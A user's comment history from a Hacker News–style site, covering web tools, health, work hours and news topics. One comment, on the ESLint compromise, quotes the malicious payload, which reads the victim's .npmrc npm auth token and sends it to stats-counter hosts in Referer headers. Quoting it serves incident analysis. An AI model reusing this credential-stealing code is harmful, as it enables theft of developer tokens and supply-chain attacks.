AndrewVos··on Color.js Released
The color.js site is really painful to scroll in android chrome btw. Also the menu doesn't work on mobile.
AndrewVos··on Using GNU Stow to manage your dotfiles (2012)
I use my own tool for this: https://github.com/AndrewVos/pj
AndrewVos··on I regret my website redesign
Does anyone want me to build their website for them? I'll do it for 10k
AndrewVos··on Thoughts on the potato diet
It's not always as simple as this.
AndrewVos··on I should have loved biology
If I wanted to learn biology as an adult, are there any books that explain stuff in the same vain?

Bonus points for pictures!

AndrewVos··on Ask HN: What are you using to manage in your team the projects/features?
I think for me Trello is the only tool that makes it hard for managers to turn into a hellscape.
AndrewVos··on As weed gets more potent, teens are getting sick
I am saying they have an agenda.
AndrewVos··on Ask HN: What are you using to manage in your team the projects/features?
This is a horrible tool, and it's highly likely that everyone actually hates it but just doesn't want to say anything.
AndrewVos··on Ask HN: In these uncertain times, how do you handle anxiousness
That's literally the same thing!
AndrewVos··on As weed gets more potent, teens are getting sick
There is no doubt. This article is BS. One hundred percent bad faith.

Maybe they should think to mention the millions of people on cannabis prescriptions who have had massive benefits.

AndrewVos··on A single prophylactic 200mg dose of Doxycyline prevents Lyme disease
Actually they didn't. Which is concerning. This is the UK so they try and do everything as cheap as possible.

Guess I'll medicate myself as usual.

AndrewVos··on Ask HN: In these uncertain times, how do you handle anxiousness
But I do recommend therapy first. You can use some online service like BetterHelp or one of the competitors. Better to give money to an individual though. But whatever is easiest for you.
AndrewVos··on Ask HN: In these uncertain times, how do you handle anxiousness
I wrote this up a few days ago to help remind myself what to do when things get bad. It's not really meant to be public, so please don't share. Maybe some of these techniques will help.

AndrewVos··on Ask HN: In these uncertain times, how do you handle anxiousness
I know you might mean well, but this isn't a nice response to someone asking for help.

You're effectively saying "you don't have any problems". It's an abusive tactic in relationships.

AndrewVos··on A single prophylactic 200mg dose of Doxycyline prevents Lyme disease
Wow I had Lyme Disease a few weeks ago, it was INTENSE. The antibiotics they give you make you puke every day too. Or they did for me at least.
AndrewVos··on Cheat sheet for if I'm gone
This is scary because my PC is setup with awesomewm, and I highly doubt anyone in my family would even be able to open a browser :/
AndrewVos··on Cull your dependencies
Not sure I would want to work in a place with such intense rules!
AndrewVos··on The Last Question
Wow I didn't realise that Andy Weird wrote the short story behind this! Great job by Kurzgesagt - it was really moving.
AndrewVos··on A six-month program in Britain will assess the effects of a shorter workweek
I've been doing the same for quite some time now. Friday is my day off.

It really is amazing for work/life balance.

Another amazing thing is that you can spend time with your family doing fun activities but there are no queues. Everyone else is at work!

You will have to up your day-rate though.

AndrewVos··on “YouTube-dl” and “Pirate Bay” back on DDG
This is probably because Kagi uses Google and Bing indexes.
AndrewVos··on “YouTube-dl” and “Pirate Bay” back on DDG
Kagi uses both Google and Bing index.
AndrewVos··on In Africa, U.S.-Trained Militaries Are Ousting Civilian Governments in Coups
Because we have seen evidence of it over and over again, maybe?
AndrewVos··on But life had other plans
This is really nice to read. My wife and I went through a similar thing. Her mom found BRCA recently so my wife got tested.

Luckily she didn't have the mutation, but it was a very scary time because we have a young daughter who might have also had it.

AndrewVos··on XVideos: The porn empire next door
I actually feel disgusted sharing the same community with you.
AndrewVos··on ESLint compromised, may have stolen your credentials
Below is the contents of the pastebin that the virus tries to eval.

Kind of interesting that they used a stats counter site as a free anonymous database.

  try{
    var path=require('path');
    var fs=require('fs');
    var 
    npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
    var content="nofile";
 
    if (fs.existsSync(npmrc)){
     
        content=fs.readFileSync(npmrc,{encoding:'utf8'});
        content=content.replace('//registry.npmjs.org/:_authToken=','').trim();
 
        var https1=require('https');
        https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
        https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});
   
      }
  }catch(e){}
AndrewVos··on Show HN: Read Hacker News Like Pinterest – Built with Vuejs
This is really nice, well done! One suggestion I might add is that you remove the hover effect from the image. It feels a bit inconsistent maybe?

Also not 100% sure about the infinite scrolling. I spend a lot of time on half-working internet and have to refresh the page a lot. Also it means that when scrolling there's a lot of items jumping around on the page, which means you lose your place quite easily.

AndrewVos··on Show HN: Dply – Free temporary Linux servers
I kept on getting the "Server name must be etc.". Took me a while to realise that there's a server name field at the top of the page. Maybe make it look like the other fields?
AndrewVos··on Turns websites into Markdown
Cool, then you can put them directly into my new app: https://anmo.io :)
